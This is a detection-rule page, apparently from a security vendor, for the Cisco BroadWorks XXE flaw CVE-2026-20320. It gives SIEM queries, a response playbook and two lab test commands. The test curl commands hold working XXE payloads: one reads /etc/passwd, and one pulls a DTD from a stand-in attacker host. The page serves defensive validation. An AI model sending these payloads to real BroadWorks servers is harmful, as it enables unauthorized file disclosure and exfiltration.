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CVE-2026-20320 Sumo Logic CSE · Sumo

Detect Cisco BroadWorks XXE (CVE-2026-20320) Exploitation in Sumo Logic CSE

Detects attempted exploitation of CVE-2026-20320, an improper restriction of XML External Entity (XXE) reference vulnerability in Cisco BroadWorks. An unauthenticated, remote attacker can send a crafted XML message to the Open Client Interface - Provisioning (OCI-P) service. Because external entity resolution is allowed by default, the XML parser resolves external entities. A successful exploit can read sensitive files from the filesystem with the privileges of the Cisco BroadWorks user. This detection surfaces XML payloads containing DOCTYPE/ENTITY declarations, SYSTEM/PUBLIC external references, and file:// or http(s):// entity URIs within BroadWorks web, OCI, and application server telemetry. CVE-2026-20320 is listed in CISA KEV (known exploited).

MITRE ATT&CK

Tactic
Initial Access Collection Discovery

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql
// df00tech DF00-befa8ce08c · https://df00tech.com/detections/CVE-2026-20320 · licence: https://df00tech.com/detections/licence
_sourceCategory=*broadworks* OR _sourceCategory=*web* OR _sourceCategory=*proxy*
| tolowercase(_raw) as payload
| where payload matches "*broadworks*" or payload matches "*/oci*" or payload matches "*xsp*" or payload matches "*soap*"
| where payload matches "*<!doctype*" or payload matches "*<!entity*"
| where payload matches "*system \"*" or payload matches "*file://*" or payload matches "*/etc/passwd*" or payload matches "*gopher://*" or payload matches "*&xxe*"
| parse regex "(?<src_ip>\d+\.\d+\.\d+\.\d+)" nodrop
| count by src_ip, _sourceHost
| sort by _count
high severity medium confidence

Sumo Logic search for BroadWorks XXE exploitation attempts matching XML entity declarations and external resource URIs for CVE-2026-20320.

Data Sources

BroadWorks application logsWeb access logsProxy logs

Required Tables

_sourceCategory=broadworks_sourceCategory=web_sourceCategory=proxy

False Positives & Tuning

  • Benign OCI XML with internal DTD subsets
  • Authorized scanning activity
  • Legitimate XML provisioning uploads with DOCTYPE headers

Other platforms for CVE-2026-20320


Testing Methodology

Validate this detection against 2 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 XXE local file disclosure against BroadWorks OCI endpoint

    Expected signal: Web/XSP access log entry for POST /oci/ with request body containing <!DOCTYPE, <!ENTITY, SYSTEM "file:///etc/passwd" and &xxe reference.

  2. Test 2 XXE out-of-band callback via external entity

    Expected signal: Outbound HTTP connection from the BroadWorks host to attacker.lab.local:8000 plus a web log entry containing %remote; and an http:// SYSTEM entity.


Response Playbook

Triage

  1. Confirm the source host is a Cisco BroadWorks component (Application Server, XSP/ADP, Profile Server, or Web interface) and determine whether the request reached an OCI/SOAP/XSP endpoint.
  2. Extract the full XML payload and inspect the DOCTYPE/ENTITY declarations: identify the SYSTEM/PUBLIC URI target (file path, http/https host) to classify intent as local file disclosure or out-of-band entity resolution.
  3. Check the HTTP response size/status for signs that an external entity was successfully resolved (e.g. file contents reflected in response or error).
  4. Correlate the source IP against known provisioning integrations, authorized scanners, and threat-intel/KEV exploitation reporting to rule out benign automation.

Containment

  1. Block the attacker source IP(s) at the perimeter/WAF and add a WAF rule rejecting XML payloads containing DOCTYPE/ENTITY declarations to BroadWorks endpoints.
  2. Apply the Cisco fixed release for CVE-2026-20320 (per cisco-sa-bworks-xxe-uwUd7CEt). Cisco states there are no workarounds; as interim risk reduction, restrict OCI/XSP interfaces to trusted management networks.
  3. If local file disclosure succeeded, rotate any BroadWorks credentials, certificates, and secrets that reside in readable configuration files on the affected host.

Evidence Collection

  1. Preserve raw web/XSP/OCI access logs and the full request bodies containing the XXE payloads, plus corresponding HTTP responses for scope-of-disclosure assessment.
  2. Capture outbound connection logs (DNS, HTTP, SMB) from the BroadWorks host for the attack window to identify out-of-band entity-resolution callbacks.
  3. Snapshot the BroadWorks host filesystem and parser configuration, and collect any files referenced by SYSTEM URIs (e.g. /etc/passwd, BroadWorks config/credential files).

Escalation Criteria

  • !Escalate to incident response if an HTTP response or out-of-band callback confirms that file contents were successfully exfiltrated.
  • !Escalate if the exploited interface was internet-facing or if credentials/secrets readable via the vulnerability are confirmed exposed, triggering credential rotation and BOD 26-04 remediation timelines.

Investigation Guide

Forensic Artifacts

  • >Web/XSP/OCI access logs containing XML request bodies with DOCTYPE/ENTITY declarations
  • >Outbound DNS/HTTP/SMB connection records from the BroadWorks host to attacker-controlled hosts (out-of-band entity resolution)
  • >BroadWorks XML parser configuration and application server error logs referencing external entity resolution failures or file reads

Tuning Guidance

Baseline legitimate BroadWorks OCI integrations and provisioning tools: many post XML with an internal DTD subset but no external SYSTEM/PUBLIC references. Require the presence of an external scheme (file://, http://) or a known-sensitive target (/etc/passwd) in addition to the DOCTYPE/ENTITY token to cut noise. Allowlist authorized scanner and integration source IPs. Raise severity to critical when an out-of-band callback or a reflected file-read response is observed. If OCI traffic volume is high, scope the query to XSP/web-facing interfaces and external source IPs only.


Hunting Queries

Hunt for BroadWorks requests over the past week that contain XML entity declarations or file:// external references, revealing XXE probing or exploitation.

Hunting — KQL
kql
// df00tech DF00-befa8ce08c · https://df00tech.com/detections/CVE-2026-20320 · licence: https://df00tech.com/detections/licence
union isfuzzy=true W3CIISLog, Syslog | where TimeGenerated > ago(7d) | extend p = tolower(coalesce(column_ifexists("csUriQuery",""), column_ifexists("SyslogMessage",""))) | where p has "broadworks" or p has "/oci" or p has "xsp" | where p has "<!entity" or p has "<!doctype" or p has "file://" | project TimeGenerated, Computer, p
Hunting — SPL
spl
``` df00tech DF00-befa8ce08c · https://df00tech.com/detections/CVE-2026-20320 · licence: https://df00tech.com/detections/licence ```
(index=web OR index=broadworks) | eval p=lower(_raw) | search (p="*broadworks*" OR p="*/oci*" OR p="*xsp*") AND (p="*<!entity*" OR p="*<!doctype*" OR p="*file://*") | stats count by host, src_ip

Atomic Red Team Tests

Test 1 XXE local file disclosure against BroadWorks OCI endpoint
linux

Submits a crafted SOAP/OCI XML request with an external entity referencing a local file to a lab BroadWorks (or stand-in XML) endpoint to simulate CVE-2026-20320 file disclosure.

Command

bash
curl -s -X POST "http://broadworks.lab.local/oci/" -H 'Content-Type: application/xml' --data '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><BroadsoftDocument><command xsi:type="UserGetRequest"><userId>&xxe;</userId></command></BroadsoftDocument>'

Cleanup

bash
rm -f ./xxe_response.xml 2>/dev/null; true

Expected Telemetry

Web/XSP access log entry for POST /oci/ with request body containing <!DOCTYPE, <!ENTITY, SYSTEM "file:///etc/passwd" and &xxe reference.

Expected Detection

KQL/SPL/EQL rules fire on the DOCTYPE+ENTITY+file:// combination targeting a BroadWorks OCI endpoint.

Test 2 XXE out-of-band callback via external entity
linux

Sends an XML payload with an external entity pointing to a lab HTTP listener to simulate blind/out-of-band XXE from BroadWorks.

Command

bash
curl -s -X POST "http://broadworks.lab.local/oci/" -H 'Content-Type: application/xml' --data '<?xml version="1.0"?><!DOCTYPE data [<!ENTITY % remote SYSTEM "http://attacker.lab.local:8000/evil.dtd"> %remote;]><BroadsoftDocument><command/></BroadsoftDocument>'

Cleanup

bash
true

Expected Telemetry

Outbound HTTP connection from the BroadWorks host to attacker.lab.local:8000 plus a web log entry containing %remote; and an http:// SYSTEM entity.

Expected Detection

Detection matches the external http:// entity reference and parameter entity (%remote) within a BroadWorks request; out-of-band callback corroborates.

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